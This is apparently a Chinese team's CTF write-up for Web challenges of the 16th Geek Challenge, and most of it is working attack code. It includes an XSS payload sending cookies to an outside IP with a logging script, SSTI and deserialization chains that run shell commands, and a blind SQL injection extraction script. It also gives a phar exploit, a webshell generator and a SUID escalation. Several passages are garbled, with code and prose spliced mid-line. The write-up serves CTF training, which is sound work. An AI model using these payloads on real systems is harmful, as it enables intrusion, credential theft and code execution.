文章总结: 这篇文章详细介绍了第十六届极客大挑战中多个Web安全题目的解题方法,包括文件描述符绕过、模板注入、XSS攻击、反序列化漏洞、SQL注入、原型链污染、XXE漏洞等多种Web安全技术的利用方法。文章通过具体实例展示了如何利用这些漏洞获取flag,对Web安全研究人员和CTF参赛者具有很高的参考价值。文章还包含OnePanda-Sec团队的招新信息,表明这是一个活跃的安全研究团队。
综合评分: 89
文章分类: CTF,WEB安全,漏洞分析,渗透测试,安全培训
第十六届极客大挑战 web题型WP
chenzi
OnePanda-Sec
2025年11月27日 20:02
湖北
招新
OnePanda-Sec
-招新说明-
**招新要求
· 热爱网络安全,喜欢CTF
· 拥有CTF比赛经验,有较好比赛成绩的
· 乐于奉献、热爱分享,愿意提升 自己同时帮助他人
· 时间允许参加各类赛事,服从战队管理与安排
· 各类比赛获奖者、能力出众者视情况考量
· 未参与其他高校联队
· 大一同学视情况放宽资历要求**
联系方式
发送简历于邮箱
· 简历邮箱:[email protected]
聘
第十六届极客大挑战OnePanda战队
Web
Vibe SEO
目录扫到sitemap.xml,然后根据aa__^^.php
根据报错信息,意思就是缺少一个filename参数
我们直接读取当前aa__^^.php文件
<?php$flag = fopen('/my_secret.txt', 'r');if (strlen($_GET['filename']) < 11) {readfile($_GET['filename']);} else {echo "Filename too long";}
得到源码
flag在/my_secret.txt文件中,但是传参的长度要小于11
所以正常的读取就不行了
这里就需要引入一个类Unix系统中的一个特殊目录,`/dev/fd“,全称是 “file descriptors”(文件描述符),它提供了一种通过文件系统路径访问进程已打开文件的方式。
每个运行中的进程都会维护一个文件描述符表(file descriptor table),其中记录了该进程当前打开的所有文件(包括普通文件、管道、网络连接、终端等),每个文件对应一个非负整数(如 0、1、2 等,称为文件描述符)。
/dev/fd 目录中会动态生成以这些文件描述符数字命名的特殊文件(如/dev/fd/0、/dev/fd/1、/dev/fd/2),通过访问这些路径,就可以间接操作进程已打开的对应文件。
进程启动时默认打开 3 个文件描述符,对应 /dev/fd 中的固定路径:
•/dev/fd/0:标准输入(stdin),通常对应终端的输入(如键盘)。
•/dev/fd/1:标准输出(stdout),通常对应终端的输出(如屏幕)。
•/dev/fd/2:标准错误(stderr),通常对应终端的错误输出。
fopen会创建文件描述符,所以my_secret.txt会有一个文件描述符。那么就可以通过/dev/fd/*访问到
然后就bp发包爆破就行
Expression
先随意注册一个,抓包
发现是有密钥的jwt,爆破试试
密钥为secret
我们尝试伪造admin,但好像没用
换一种思路
我们查看一下用了什么框架用的是nodejs的express(也是照应了题目)
我们传参<%=7*7%>试试
发现是49,说明是EJS模板注入了
setInterval.constructor('return process')().mainModule.require('child_process').execSync('ls').toString();
setInterval.constructor('return process')().mainModule.require('child_process').execSync('env').toString();
SYC{019a3ae619d874e8a3a9a9c0763c11fe}
Xross The Finish Line
打开发现是个留言板,看题目标题,大概率猜测为XSS注入
先抓个包试一下
发现报非法内容
说明大概就是XSS了
然后发现有过滤,我们fuzz一下
script img 空格 单双引号都被过滤了
但是我们可以使用body标签进行script绕过
使用/**/绕过对空格的过滤
引号的话可以用反引号进行绕过
后面的打法就跟CTFshow靶场一样了
现在自己的VPS创建1.php
<?php$cookie = $_GET['cookie'];$time = date('Y-m-d h:i:s', time());$log = fopen("cookie.txt", "a");fwrite($log,$time.': '. $cookie . "\n");fclose($log);?>
同时给一下权限chmod 777 1.php
然后在留言板输入我们的payload(这里直接在网站中输入,bp抓包+直接给非法了)
<body/**/onload=location.href=`http://115.120.236.65:5555/xs/1.php?cookie=`+document.cookie>
在这之前我们要先抓一个report的包
(这里建议重新开一个环境)
然后就会生成一个cookie.txt文件了
one last image
是一个文件上传
这里我改了后缀、Content-Type还有文件头和php短标签
但是500错误
发现/var/www/html/uploads/0943eb5e-0e2a-4a57-9a61-9b57692822ed.php是我们刚刚上传的文件
在env下找到flag
SYC{0M3det0u019a3d72df1873d09543fda788d58204}
popself
<?phpshow_source(__FILE__);error_reporting(0);class All_in_one{public $KiraKiraAyu;public $_4ak5ra;public $K4per;public $Samsāra;public $komiko;public $Fox;public $Eureka;public $QYQS;public $sleep3r;public $ivory;public $L;public function __set($name, $value){echo "他还是没有忘记那个".$value."<br>";echo "收集夏日的碎片吧<br>";$fox = $this->Fox;if ( !($fox instanceof All_in_one) && $fox()==="summer"){echo "QYQS enjoy summer<br>";echo "开启循环吧<br>";$komiko = $this->komiko;$komiko->Eureka($this->L, $this->sleep3r);}}public function __invoke(){echo "恭喜成功signin!<br>";echo "welcome to Geek_Challenge2025!<br>";$f = $this->Samsāra;$arg = $this->ivory;$f($arg);}public function __destruct(){echo "你能让K4per和KiraKiraAyu组成一队吗<br>";if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){die("boys和而不同<br>");}if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){echo "BOY♂ sign GEEK<br>";echo "开启循环吧<br>";$this->QYQS->partner = "summer";}else {echo "BOY♂ can`t sign GEEK<br>";echo md5(md5($this->KiraKiraAyu))."<br>";echo md5($this->K4per)."<br>";}首先第一步get传参 24_SYC.zip ,考虑到php的特性,需要用 [ 来替换 _ ,也就是传参 24[SYC.zip后面就是反序列化了,第一步也就是 __destruct() ,先进行强弱比较0e绕过,这个比较简单,直接给$a->KiraKiraAyu='f2WfQ';$a->K4per='0e215962017';触发 __set() :set中 fox 不能是 All_in_one 的实例,且值summer,那么就是利用多给我们的那个类}else{die("boys堂堂正正");}}public function __tostring(){echo "再走一步...<br>";$a = $this->_4ak5ra;$a();}public function __call($method, $args){if (strlen($args[0])<4 && ($args[0]+1)>10000){echo "再走一步<br>";echo $args[1];}else{echo "你要努力进窄门<br>";}}}class summer {public static function find_myself(){return "summer";}}$payload = $_GET["24_SYC.zip"];if (isset($payload)) {unserialize($payload);} else {echo "没有大家的压缩包的话,瓦达西!<br>";}?>没有大家的压缩包的话,瓦达西!
首先第一步get传参24_SYC.zip,考虑到php的特性,需要用[来替换_,也就是传参24[SYC.zip
后面就是反序列化了,第一步也就是__destruct(),先进行强弱比较0e绕过,这个比较简单,直接给
$a->KiraKiraAyu='f2WfQ';$a->K4per='0e215962017';__dustruct()-->__set()-->__call()-->__tostring()-->__invoke()触发__set():$a->QYQS=$a;
set中fox不能是All_in_one的实例,且值summer,那么就是利用多给我们的那个类
$a->Fox="summer::find_myself";触发__call()$a->komiko=$a;
进入到__call()了,传参用科学技术法绕过
$a->L='1e4';$a->sleep3r=$a;
进入到__tostring()了
$a->_4ak5ra=$a;
进入到__invoke()了
$a->Samsāra='system';$a->ivory='ls';
那么就构造完成了,最后flag在env里
<?phpclass All_in_one{public $KiraKiraAyu;public $_4ak5ra;public $K4per;public $Samsāra;public $komiko;public $Fox;public $Eureka;public $QYQS;public $sleep3r;public $ivory;public $L;public function __set($name, $value){echo "他还是没有忘记那个".$value."<br>";echo "收集夏日的碎片吧<br>";$fox = $this->Fox;if ( !($fox instanceof All_in_one) && $fox()==="summer"){echo "QYQS enjoy summer<br>";echo "开启循环吧<br>";$komiko = $this->komiko;$komiko->Eureka($this->L, $this->sleep3r);}}public function __invoke(){echo "恭喜成功signin!<br>";echo "welcome to Geek_Challenge2025!<br>";$f = $this->Samsāra;$arg = $this->ivory;$f($arg);}public function __destruct(){echo "你能让K4per和KiraKiraAyu组成一队吗<br>";if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){die("boys和而不同<br>");}if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){echo "BOY♂ sign GEEK<br>";echo "开启循环吧<br>";$this->QYQS->partner = "summer";}else {echo "BOY♂ can`t sign GEEK<br>";echo md5(md5($this->KiraKiraAyu))."<br>";echo md5($this->K4per)."<br>";}}else{die("boys堂堂正正");}}public function __tostring(){echo "再走一步...<br>";$a = $this->_4ak5ra;$a();}public function __call($method, $args){if (strlen($args[0])<4 && ($args[0]+1)>10000){echo "再走一步<br>";echo $args[1];}else{echo "你要努力进窄门<br>";}}}class summer {public static function find_myself(){return "summer";}}$a=new All_in_one();$a->KiraKiraAyu='f2WfQ';$a->K4per='0e215962017';$a->QYQS=$a;$a->Fox="summer::find_myself";$a->komiko=$a;$a->L='1e4';$a->sleep3r=$a;$a->_4ak5ra=$a;$a->Samsāra='system';ez read先随便注册一个账号,我这里直接就注册了admin双写 // 读取到 /etc/passwd$a->ivory='env';echo urlencode(serialize($a));O%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3Bs%3A5%3A%22f2WfQ%22%3Bs%3A7%3A%22_4ak5ra%22%3Br%3A1%3Bs%3A5%3A%22K4per%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A8%3A%22Sams%C4%81ra%22%3Bs%3A6%3A%22system%22%3Bs%3A6%3A%22komiko%22%3Br%3A1%3Bs%3A3%3A%22Fox%22%3Bs%3A19%3A%22summer%3A%3Afind_myself%22%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3Br%3A1%3Bs%3A7%3A%22sleep3r%22%3Br%3A1%3Bs%3A5%3A%22ivory%22%3Bs%3A3%3A%22env%22%3Bs%3A1%3A%22L%22%3Bs%3A3%3A%221e4%22%3B%7D
ez read
先随便注册一个账号,我这里直接就注册了admin
双写//读取到/etc/passwd
读取/proc/1/environ
发现是python,那大概率源码就是app.py,这里要自己去多次尝试路径
…/.//app.py
from flask import Flask, request, render_template, render_template_string,redirect, url_for, sessionimport osapp = Flask(__name__, template_folder="templates", static_folder="static")app.secret_key = "key_ciallo_secret"USERS = {}def waf(payload: str) -> str:print(len(payload))if not payload:return ""if len(payload) not in (114, 514):return payload.replace("(", "")else:waf = ["__class__", "__base__", "__subclasses__", "__globals__","import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]for w in waf:if w in payload:raise ValueError(f"waf")return [email protected]("/")def index():user = session.get("user")return render_template("index.html", user=user)@app.route("/register", methods=["GET", "POST"])def register():if request.method == "POST":username = (request.form.get("username") or "")password = request.form.get("password") or ""if not username or not password:return render_template("register.html", error="用户名和密码不能为空")if username in USERS:return render_template("register.html", error="用户名已存在")USERS[username] = {"password": password}session["user"] = usernamereturn redirect(url_for("profile"))return render_template("register.html")@app.route("/login", methods=["GET", "POST"])def login():if request.method == "POST":username = (request.form.get("username") or "").strip()password = request.form.get("password") or ""user = USERS.get(username)if not user or user.get("password") != password:return render_template("login.html", error="用户名或密码错误")session["user"] = usernamereturn redirect(url_for("profile"))return render_template("login.html")@app.route("/logout")def logout():session.clear()return redirect(url_for("index"))@app.route("/profile")def profile():user = session.get("user")if not user:return redirect(url_for("login"))name_raw = request.args.get("name", user)try:filtered = waf(name_raw)tmpl = f"欢迎,{filtered}"rendered_snippet = render_template_string(tmpl)error_msg = Noneexcept Exception as e:rendered_snippet = ""error_msg = f"渲染错误: {e}"return render_template("profile.html",content=rendered_snippet,name_input=name_raw,user=user,error_msg=error_msg,)@app.route("/read", methods=["GET", "POST"])def read_file():user = session.get("user")if not user:return redirect(url_for("login"))base_dir = os.path.join(os.path.dirname(__file__), "story")try:entries = sorted([f for f in os.listdir(base_dir) ifos.path.isfile(os.path.join(base_dir, f))])except FileNotFoundError:entries = []filename = ""if request.method == "POST":filename = request.form.get("filename") or ""else:filename = request.args.get("filename") or ""content = Noneerror = Noneif filename:sanitized = filename.replace("../", "")target_path = os.path.join(base_dir, sanitized)if not os.path.isfile(target_path):error = f"文件不存在: {sanitized}"else:with open(target_path, "r", encoding="utf-8", errors="ignore") as f:content = f.read()return render_template("read.html", files=entries, content=content,filename=filename, error=error, user=user)if __name__ == "__main__":app.run(host="0.0.0.0", port=8080, debug=False)
可以很明显看到在/profile路由下的name参数可控,且经过了模板渲染,那么这里就存在了SSTI模板注入(同时去看上面的waf也可以看到)
先验证一下
我们的长度要114或者514之间
name={{config["__c""lass__"]["__base__"]["__init__"]["__g""lobals__"]["os"]}}
{{config["_""_c""lass__"]["__ba""se__"]["__init__"]["__g""lobals__"]['os'].popen('ls').read()}}
在read()后面用空格补齐
去读根目录的flag,但是没有反应,看看权限
可以看到flag得要root权限了
那么我们就需要进行提权
使用find / -perm -4000 2>/dev/null
{{config["__c""lass__"]["__ba""se__"]["__init__"]["__g""lobals__"]['os'].popen('find / -perm -4000 2>/dev/null').read() }}
可以看到有local的env
{{config["__c""lass__"]["__ba""se__"]["__init__"]["__g""lobals__"]['os'].popen('/usr/local/bin/env /bin/sh -p -c "cat /flag"').read()}}
Sequal No Uta
看题目和描述大概率就是sql注入了
直接上脚本
import requestsimport time # 引入时间模块用于添加延迟from requests.exceptions import RequestException# 目标配置(可根据实际场景修改)TARGET_URL = "http://019a58c2-3844-7608-b7bd-9b9d6cb02698.geek.ctfplus.cn/check.php"TABLE_TO_CRAWL = "users" # 目标表名COLUMN_TO_EXTRACT = "secret" # 目标列名START_ROW_INDEX = 0 # 起始行索引(从0开始计数)REQUEST_DELAY = 1 # 请求间隔时间(秒),可根据需要调整(建议1-3秒)# 会话保持(维持请求状态)req_session = requests.Session()def fetch_single_char(url, table, column, row_idx, pos, mid_val):"""构造单个字符的判断 payload 并发送请求"""# 生成SQL注入payload:判断指定位置字符的Unicode值是否大于等于mid_valinject_payload = (f"admin'/**/and/**/"f"(unicode(substr("f"(SELECT/**/{column}/**/FROM/**/{table}/**/LIMIT/**/1/**/OFFSET/**/{row_idx}),"f"{pos},1))>={mid_val})--+")# 发送带注入参数的请求try:response = req_session.get(url=url,params={"name": inject_payload},timeout=10)response.raise_for_status() # 捕获HTTP错误状态码except RequestException as e:print(f"\n[请求异常] {str(e)}")return Nonefinally:# 每次请求后添加延迟,防止请求过快time.sleep(REQUEST_DELAY)# 根据响应内容判断条件是否成立if "该用户存在且活跃" in response.text:return Trueelif "未找到用户或已停用" in response.text:return Falseelse:print("\n[响应异常] 未匹配到预期内容")return Nonedef check_next_char_exists(url, table, column, row_idx, current_pos):"""验证下一个位置是否存在字符"""verify_payload = (f"admin'/**/and/**/"f"(unicode(substr("f"(SELECT/**/{column}/**/FROM/**/{table}/**/LIMIT/**/1/**/OFFSET/**/{row_idx}),"f"{current_pos + 1},1))>0)--+")try:response = req_session.get(url=url,params={"name": verify_payload},timeout=10)return "该用户存在且活跃" in response.textexcept RequestException:return False # 异常时默认认为不存在finally:# 每次请求后添加延迟time.sleep(REQUEST_DELAY)def extract_row_data(url, table, column, row_idx):"""提取指定行的完整数据(使用二分法逐字符爆破)"""print(f"\n[开始提取] 表 '{table}' 列 '{column}' 第 {row_idx + 1} 行数据")print("-" * 60)extracted_data = ""max_char_length = 200 # 最大字符长度限制for char_pos in range(1, max_char_length + 1):left_bound = 32 # ASCII可打印字符起始right_bound = 127 # ASCII可打印字符结束found_char_code = Nonereq_counter = 0print(f"位置 {char_pos}: ", end="", flush=True)# 二分法查找当前位置的字符ASCII码while left_bound <= right_bound:mid = (left_bound + right_bound) // 2req_counter += 1# 限制单字符请求次数,避免无限循环if req_counter > 10:found_char_code = left_bound if (32 <= left_bound <= 127) elseNonebreak# 发送判断请求check_result = fetch_single_char(url, table, column, row_idx, char_pos, mid)if check_result is True:found_char_code = midleft_bound = mid + 1elif check_result is False:right_bound = mid - 1else:break # 异常时退出二分循环# 处理找到的字符if found_char_code and 32 <= found_char_code <= 127:current_char = chr(found_char_code)extracted_data += current_charprint(current_char, end="", flush=True)# 检查是否还有下一个字符if char_pos < max_char_length and not check_next_char_exists(url, table, column, row_idx, char_pos):print(f"\n[结束标记] 位置 {char_pos + 1} 无字符")breakelse:# 未找到有效字符,判断是否为数据结束if char_pos == 1:print(f"[提示] 位置 {char_pos} 无有效数据,可能该行不存在")break# 输出当前行提取结果if extracted_data:print(f"\n\n[提取完成] 结果: {extracted_data}")print(f"[统计信息] 长度: {len(extracted_data)} 字符")else:print("\n\n[提取失败] 未获取到有效数据")return extracted_datadef extract_multi_rows(url, table, column, max_row_count=5):"""提取多行数据(直到无数据为止)"""print(f"\n[批量提取模式] 表 '{table}' 列 '{column}' 多行数据")print("-" * 60)all_extracted = []for row_idx in range(max_row_count):print(f"\n===== 第 {row_idx + 1} 行 =====")row_data = extract_row_data(url, table, column, row_idx)if row_data:all_extracted.append(row_data)else:print(f"\n[批量结束] 第 {row_idx + 1} 行无数据,停止提取")break# 汇总多行结果print("\n" + "=" * 60)print("[所有提取结果汇总]")for idx, data in enumerate(all_extracted, 1):print(f"第 {idx} 行: {data}")return all_extractedif __name__ == "__main__":print("=" * 60)print("SQLite 布尔盲注数据提取工具")print(f"[配置信息] 请求间隔: {REQUEST_DELAY}秒")print("=" * 60)# 提取单行数据single_row_data = extract_row_data(TARGET_URL,TABLE_TO_CRAWL,COLUMN_TO_EXTRACT,START_ROW_INDEX)ez-seralize# 如需提取多行数据,取消下面注释# multi_row_data = extract_multi_rows(# TARGET_URL,# TABLE_TO_CRAWL,# COLUMN_TO_EXTRACT,# max_row_count=5# )
ez-seralize
//index.php<?phpini_set('display_errors', '0');$filename = isset($_GET['filename']) ? $_GET['filename'] : null;$content = null;$error = null;if (isset($filename) && $filename !== '') {$balcklist =["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];foreach ($balcklist as $v) {if (strpos($filename, $v) !== false) {$error = "no no no";break;}}if ($error === null) {if (isset($_GET['serialized'])) {require 'function.php';$file_contents= file_get_contents($filename);if ($file_contents === false) {$error = "Failed to read seraizlie file or file does not exist:" . htmlspecialchars($filename);} else {$content = $file_contents;}} else {$file_contents = file_get_contents($filename);if ($file_contents === false) {$error = "Failed to read file or file does not exist: " .htmlspecialchars($filename);} else {$content = $file_contents;}}}} else {$error = null;}?><!DOCTYPE html><html lang="zh-CN"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>File Reader</title><style>:root{--card-bg: #ffffff;--page-bg: linear-gradient(135deg,#f0f7ff 0%,#fbfbfb 100%);--accent: #1e88e5;--muted: #6b7280;--success: #16a34a;--danger: #dc2626;--card-radius: 12px;--card-pad: 20px;}html,body{height:100%;margin:0;font-family: Inter, "Segoe UI", Roboto,"Helvetica Neue", Arial;}body{background: var(--page-bg);display:flex;align-items:center;justify-content:center;padding:24px;}.card{width:100%;max-width:820px;background:var(--card-bg);border-radius:var(--card-radius);box-shadow: 0 10px 30px rgba(16,24,40,0.08);padding:var(--card-pad);}h1{margin:0 0 6px 0;font-size:18px;color:#0f172a;}p.lead{margin:0 0 18px 0;color:var(--muted);font-size:13px}form.controls{display:flex;gap:10px;flex-wrap:wrap;alignitems:center;margin-bottom:14px}input[type="text"]{flex:1;padding:10px 12px;border:1px solid #e6e9ef;border-radius:8px;font-size:14px;outline:none;transition:box-shadow .12s ease,border-color .12s ease;}input[type="text"]:focus{box-shadow:0 0 0 4pxrgba(30,136,229,0.08);border-color:var(--accent)}button.btn{padding:10px 16px;background:var(--accent);color:white;border:none;border-radius:8px;cursor:pointer;font-weight:600;}button.btn.secondary{background:#f3f4f6;color:#0f172a;font-weight:600;border:1px solid#e6e9ef;}.hint{font-size:12px;color:var(--muted);margin-top:6px}.result{margin-top:14px;border-radius:8px;overflow:hidden;border:1px solid #e6e9ef;}.result .meta{padding:10px 12px;display:flex;justify-content:space-between;align-items:center;background:#fbfdff;font-size:13px;color:#111827;}.result .body{padding:12px;background:#0b1220;color:#e6eef8;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "RobotoMono", monospace;font-size:13px;line-height:1.5;max-height:520px;overflow:auto;white-space:pre-wrap;word-break:break-word;}.alert{padding:10px 12px;border-radius:8px;font-weight:600;margintop:12px;}.alert.warn{background:#fff7ed;color:#92400e;border:1px solid #ffedd5}.alert.error{background:#fff1f2;color:#9f1239;border:1px solid #fecaca}.alert.info{background:#ecfeff;color:#064e3b;border:1px solid #bbf7d0}.footer{margin-top:12px;font-size:12px;color:var(--muted)}@media (max-width:640px){.card{padding:16px}.result .meta{font-size:12px}}</style></head><body><div class="card"><h1>📄 File Reader</h1><p class="lead">在下面输入要读取的文件</p><form class="controls" method="get" action=""><input type="text" name="filename" value="<?php echoisset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : '';?>" /><button type="submit" class="btn">读取文件</button><a class="btn secondary" href="">重置</a></form><?php if ($error !== null && $error !== ''): ?><div class="alert error" role="alert"><?php echohtmlspecialchars($error, ENT_QUOTES); ?></div><?php endif; ?><!--RUN printf"open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \> /usr/local/etc/php/conf.d/zz-open_basedir.ini--><?php if ($content !== null): ?><div class="result" aria-live="polite"><div class="meta"><div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div><div style="font-size:12px;color:var(--muted)"><?php echostrlen($content); ?> bytes</div></div><div class="body"><pre><?php echo htmlspecialchars($content,ENT_QUOTES); ?></pre></div></div><?php elseif ($error === null && isset($_GET['filename'])): ?><div class="alert warn">未能读取内容或文件为空。</div><?php endif; ?></div></body></html>
//function.php<?phpclass A {public $file;public $luo;public function __construct() {}public function __toString() {$function = $this->luo;return $function();}}class B {public $a;public $test;public function __construct() {}public function __wakeup(){echo($this->test);}public function __invoke() {$this->a->rce_me();}}class C {public $b;public function __construct($b = null) {$this->b = $b;}public function rce_me() {echo "Success!\n";system("cat /flag/flag.txt > /tmp/flag");}}
可以先初步审计一下,在index.php中让我们传入serialized,但是发现没有触发这个参数的地方,那或许我们少了一个文件,扫一下目录,找到robots.txt,得到uploads.php
<?php$uploadDir = __DIR__ . '/uploads/';if (!is_dir($uploadDir)) {mkdir($uploadDir, 0755, true);}$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];$allowedMimes = ['txt' => ['text/plain'],'log' => ['text/plain'],'jpg' => ['image/jpeg'],'jpeg' => ['image/jpeg'],'png' => ['image/png'],'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/xzip'],'gif' => ['image/gif'],'gz' => ['application/gzip', 'application/x-gzip']];$resultMessage = '';if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {$file = $_FILES['file'];if ($file['error'] === UPLOAD_ERR_OK) {$originalName = $file['name'];$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));if (!in_array($ext, $whitelist, true)) {die('File extension not allowed.');}$mime = $file['type'];if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext],true)) {die('MIME type mismatch or not allowed. Detected: ' .htmlspecialchars($mime));}$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_',basename($originalName));$safeBaseName = ltrim($safeBaseName, '.');$targetFilename = time() . '_' . $safeBaseName;file_put_contents('/tmp/log.txt', "upload file success: $targetFilename,MIME: $mime\n");$targetPath = $uploadDir . $targetFilename;if (move_uploaded_file($file['tmp_name'], $targetPath)) {@chmod($targetPath, 0644);$resultMessage = '<div class="success"> File uploaded successfully'. '</div>';} else {$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';}} else {$resultMessage = '<div class="error"> Upload error: ' . $file['error'] .'</div>';}}?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Secure File Upload</title><style>body {font-family: "Segoe UI", Arial, sans-serif;background: linear-gradient(135deg, #e3f2fd, #f8f9fa);height: 100vh;display: flex;align-items: center;justify-content: center;}.container {background: #fff;padding: 2em 3em;border-radius: 16px;box-shadow: 0 8px 24px rgba(0,0,0,0.1);max-width: 400px;width: 90%;text-align: center;}h1 {color: #0078d7;margin-bottom: 0.8em;font-size: 1.6em;}input[type="file"] {display: block;margin: 1em auto;font-size: 0.95em;}button {background-color: #0078d7;color: white;border: none;padding: 0.6em 1.4em;border-radius: 6px;cursor: pointer;transition: 0.2s ease;}button:hover {background-color: #005ea6;}.success, .error {margin-top: 1em;padding: 0.8em;border-radius: 8px;font-weight: 600;}.success {background: #e8f5e9;color: #2e7d32;border: 1px solid #81c784;}.error {background: #ffebee;color: #c62828;border: 1px solid #ef9a9a;}那么基本思路就是上传phar反序列化到/tmp目录下,然后通过phar触发执行system语句先构造一下反序列化.footer {margin-top: 1.5em;font-size: 0.85em;color: #666;}</style></head><body><div class="container"><h1>📤 File Upload Portal</h1><form method="POST" enctype="multipart/form-data"><input type="file" name="file" required><button type="submit">Upload</button></form><?= $resultMessage ?><div class="footer">Allowed types: txt, log, jpg, jpeg, png, zip</div></div></body></html>
那么基本思路就是上传phar反序列化到/tmp目录下,然后通过phar触发执行system语句
先构造一下反序列化
<?phpclass A {public $file;public $luo;public function __construct() {}public function __toString() {$function = $this->luo;return $function();}}class B {public $a;public $test;public function __construct() {}public function __wakeup(){echo($this->test);}public function __invoke() {$this->a->rce_me();}}class C {public $b;然后生成一个phar文件,在uploads.php页面进行上传,记得改后缀在uploads.php中可以通过/tmp/log.txt看一下有没有被成功上传以及文件名,因为我们要phar伪协议去读取文件public function __construct($b = null) {$this->b = $b;}public function rce_me() {echo "Success!\n";system("cat /flag/flag.txt > /tmp/flag");}}// 创建利用链$c = new C();$b = new B();$a = new A();// 设置利用链$b->a = $c; // B::__invoke() 中调用 $this->a->rce_me()$a->luo = $b; // A::__toString() 中调用 $function() 即 B::__invoke()$b->test = $a; // B::__wakeup() 中 echo($this->test) 触发 A::__toString()// 生成序列化payload$payload = serialize($b);echo "Payload:\n";echo urlencode($payload) . "\n\n";$phar=new phar('exp.phar');$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER();?>");$phar->setMetadata($b);$phar->addFromString("test.txt","test");$phar->stopBuffering();
然后生成一个phar文件,在uploads.php页面进行上传,记得改后缀
在uploads.php中可以通过/tmp/log.txt看一下有没有被成功上传以及文件名,因为我们要phar伪协议去读取文件
可以看到我们刚刚上传的phar已经被上传了,现在我们需要触发
filename=phar://uploads/1762350274_exp.zip&serialized
这里一定要加serialized不然没法触发
然后在/tmp/flag读取
eeeeezzzzzzZip
开门见上是个登录框
那大概率就是要让我们登录了,测试好多之后,扫了一下目录,有个www.zip
admin/guest123得到账号密码
可以看到在index.php进行了文件包含,同时创建了沙箱目录
潜在局限性
1.覆盖范围有限:仅检查首尾各 4KB 内容,若敏感内容藏在文件中间(且超出 8KB 范围),可能被漏检。
2.匹配逻辑简单:仅支持字符串精确匹配(不支持正则表达式),对变形的敏感内容(如字符拼接、编码转换)防御能力弱。
3.容错处理宽松:文件打开失败时直接返回true(默认通过),可能导致异常文件绕过检查。
import bz2import osfrom pathlib import Pathdef main():hou = b"B" * 7000payload = (b"<?php $cmd = $_GET['cmd']; system($cmd);"b"/*" + hou + b"*/")for _ in range(128):data = bz2.compress(os.urandom(256))qian = data + (b"A" * 7000)pay = qian + payloadPath("exploit.bz2").write_bytes(pay)脚本的意思也很明显就是前后用字符进行过度,真实的是一句话木马。生成的exploit.bz2进行上传/index.php?f=1762512046_exploit.bz2&cmd=env百年继承先正常过一遍大概率猜测是跟原型链有关了,同时从 lambda executor 可以看出是python后端/那也就是python的类属性的污染returnif __name__ == "__main__":main()
脚本的意思也很明显就是前后用字符进行过渡,真实的是一句话木马。生成的exploit.bz2进行上传
/index.php?f=1762512046_exploit.bz2&cmd=env
百年继承
先正常过一遍
上校已创建。
上校继承于他的父亲,他的父亲继承于人类
时间流逝:卷入武装起义:命运与战争交织。
时间流逝:抉择时刻:上校需要做出选择(武器与策略)。
事件:上校使用 spear,采取 ambush 策略。世界线变动…
(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)
时间流逝:宿命延续:行军与退却。
时间流逝:面对行刑队:命运的审判即将到来。
行刑队:开始执行判决。
行刑队也继承于人类
临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这是人类自古以来就拥有的execute_method属性…
处决成功
时间流逝:结局:命运如沙漏般倾泻……
时间流逝:结局:命运如沙漏般倾泻……
时间流逝:结局:命运如沙漏般倾泻……
大概率猜测是跟原型链有关了,同时从lambda executor可以看出是python后端/那也就是python的类属性的污染
我们先输入一遍输入框的
顺便说一下什么是Python原型链污染?
Python原型链污染是一种通过修改对象原型链中的属性,导致程序行为偏离预期的攻击技术。其核心原理与JavaScript原型链污染类似,但实现方式因语言特性而有所差异。
•原型继承特性
Python中每个对象通过__class__属性指向其所属类,类通过__base__属性指向父类。当访问对象属性时,若当前对象/类中未定义,会沿原型链向上查找
•污染条件
需要存在递归合并函数(如merge)且未对特殊属性过滤
经过多次尝试
{"weapon": "spear", "tactic": "ambush","__class__":{"__base__":{"__base__":{"execute_method":"ls"}}}}
回显成功,然后就是要在execute_method里面进行Lambda表达式注入了
从前面正常过一遍的时候给了我们一个Lambda表达式lambda executor, target: (target.__del__(), setattr(target, ‘alive’, False), ‘处决成功’)
返回处决成功,那我们改一下
{"weapon": "spear", "tactic": "ambush","__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target,'alive', False), '111')"}}}}
成功返回,那后面就是沙箱逃逸了
{"weapon": "spear", "tactic": "ambush","__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target,'alive', False), __builtins__['__import__']('os').popen('env').read())"}}}}
路在脚下
大概率是SSTI模板注入了,且是无回显
本来想反弹shell的,但好像不出网
后端是py,可以尝试添加一个路由
{"weapon": "spear", "tactic": "ambush","__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target,'alive', False), __builtins__['__import__']('os').popen('env').read())"}}}}
/1?cmd=env
Image Viewer
允许上传svg
本地写一个svg
